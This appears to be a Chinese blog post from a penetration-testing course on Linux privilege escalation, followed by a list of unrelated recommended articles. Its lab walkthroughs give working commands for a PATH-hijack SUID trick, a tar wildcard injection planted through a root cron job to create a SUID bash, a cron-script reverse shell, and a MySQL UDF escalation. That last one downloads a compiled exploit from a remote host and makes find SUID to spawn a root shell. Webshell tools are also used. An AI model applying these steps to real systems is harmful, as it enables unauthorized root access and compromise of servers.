• 第104天: 权限提升-Linux 系统&环境变量&定时任务&权限配置不当&MDUT 自动化


    目录

    案例一:Linux-环境变量文件配合 SUID-本地

    案例二:Linux-定时任务打包配合 SUID-本地

    案例三:Linux-定时任务文件权限配置不当-WEB&本地

    案例四:Linux-第三方软件 MYSQL 数据库提权-WEB&本地

    隧道出网

    手工提权


    案例一:Linux-环境变量文件配合 SUID-本地

    原理

     复现demo.c文件源代码

    1. #include
    2. void main()
    3. { setuid(0);
    4. setgid(0);
    5. system("ps");
    6. }

    demo.c文件进行编译生成shell文件

    加上suid权限

     这个时候执行shell,就是利用root权限去执行ps命令

    切换普通用户权限

    进行提权操作,把bash命令复制到/tmp下

    这个时候需要进行环境覆盖,让/tmp下的ps在/bin下之前执行。

    export PATH=/tmp:$PATH

    这个时候再运行./shell

    实战应用

    1.普通用户权限下先获取suid所有程序
    2.去除系统自带的一些命令(筛选第三方程序)
    3.对该程序进行反编译或者找源码 明白该程序的作用
    4.思考该程序有无执行一些环境变量命令(ps ping su sudo 等 比如该shell程序执行了ps命令

    5.尝试通过复制suid提权命令 复制替换原来的执行命令 (先添加环境变量 优先执行复制后的命令)

    案例二:Linux-定时任务打包配合 SUID-本地

    项目背景:运维为了防止数据丢失,会定时运行计划任务,把项目打包

    tar zxf 1.tar.gz /var/www/*

    这里首先先创建一个计划任务

    backup.sh,记得加执行命令(去/tmp路径下,把tmp下的所有文件打包成backup.tar.gz)

    cd /tmp;tar czf /tmp/backup.tar.gz *

     去/etc/crontab下写上一条

    * * * * * root /tmp/backup.sh

    自动打包

    这个时候切换普通用户,写入这几条命令

    echo "" > "--checkpoint-action=exec=sh test.sh"        

    #将空文件写入--checkpoint-action=exec=sh test.sh中
    echo "" > --checkpoint=1
    echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh  

    #写入命令  chmod +s对可执行文件升级权限 赋予suid权限
    chmod +x test.sh

    再打包时因为文件名的原因,会自动进行命令拼接,解释:

    tar czf /tmp/backup.tar.gz --checkpoint-action=exec=sh test.sh  #自动执行test.sh
    tar czf /tmp/backup.tar.gz --checkpoint=1   #每处理512个字节执行一次命令

    1分钟后出现了具有suid权限的bash

     然后运行该程序,这里我上一篇文章文章介绍了debian系统需要上-p参数才能够提权

    实战应用

    查看定时任务· 定时任务有没有可利用 (tar打包压缩等) 

    案例三:Linux-定时任务文件权限配置不当-WEB&本地

    在计划任务里面的backup.sh里面一般是没有修改文件的权限的

    当加上修改权限的时候。就可以把里面的内容改成反弹shell的命令

     切换普通用户,修改文件内容

    开启监听

    反弹

    案例四:Linux-第三方软件 MYSQL 数据库提权-WEB&本地

    靶机下载地址:

    链接:https://pan.baidu.com/s/1_ghJGJ3-bJZj1L4d6nlnYw?pwd=8e03
    提取码:8e03

    项目复现:https://zhuanlan.zhihu.com/p/270343652

    nmap扫描

    直接只展示mysql提权过程,菜刀连接

    翻阅数据库的账号密码

    利用哥斯拉建立连接尝试连接数据库

     nc反弹shell

    进入mysql开启外联

    外联命令

    1. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION;
    2. flush privileges;

    但是还是连接不上,原因是由于该靶机设置了防火墙设定

    解决方法

    手工提权(在webshell上面的数据库管理进行提权) 自己连自己
    隧道出网(用外部或本机的工具项目提权 建立隧道)

    隧道出网

    利用刚才反弹的shell,进行木马编写,建立冰蝎连接(中间走了很多弯路,ip变了)

     用冰蝎建立连接

    然后建立内网穿透

    现在进行连接

    连接成功

    这个时候利用工具进行自动化提权

    工具下载地址:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools

    进行连接配置

    直接进行提权

    手工提权

    可能用到的命令

    下载mysql udf kali poc进行编译
    wget https://www.exploit-db.com/download/1518
    mv 1518 raptor_udf.c
    gcc -g -c raptor_udf.c
    gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
    mv raptor_udf.so 1518.so
    上传或下载1518到目标服务器
    wget https://xx.xx.xx.xx/1518.so
    进入数据库进行UDF导出
    use mysql;
    create table foo(line blob);
    insert into foo values(load_file('/tmp/1518.so'));
    select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
    创建do_system函数调用
    create function do_system returns integer soname '1518.so';
    select do_system('chmod u+s /usr/bin/find');
    #配合使用find调用执行
    touch xiaodi
    find xiaodi –exec "whoami" \;
    find xiaodi –exec "/bin/sh" \;
    id

    下载源文件

    编译并且重命名

    python开启简易网站

    下载

    进行udf导出

    创建do_system函数,并且给find命令加上suid权限

     退出进行提权

  • 相关阅读:
    Android 12.0 禁用系统app首次启动动画SplashScreen功能分析
    Python的第三方日志库Loguru
    可视化学习:CSS transform与仿射变换
    Vue实现登录功能全套详解(含封装axios)
    Spring | Bean自动装配详解
    Codeforces Round 908 (Div. 2)视频详解
    变分自编码器 / 概率分布的重新理解 感觉悟了很多
    一年跳一行,南京校区小哥哥最终选择在软件测试扎根,入职就拿9k!
    Android 各版本及API对照表
    alert() 函数功能
  • 原文地址:https://blog.csdn.net/weixin_71529930/article/details/139574895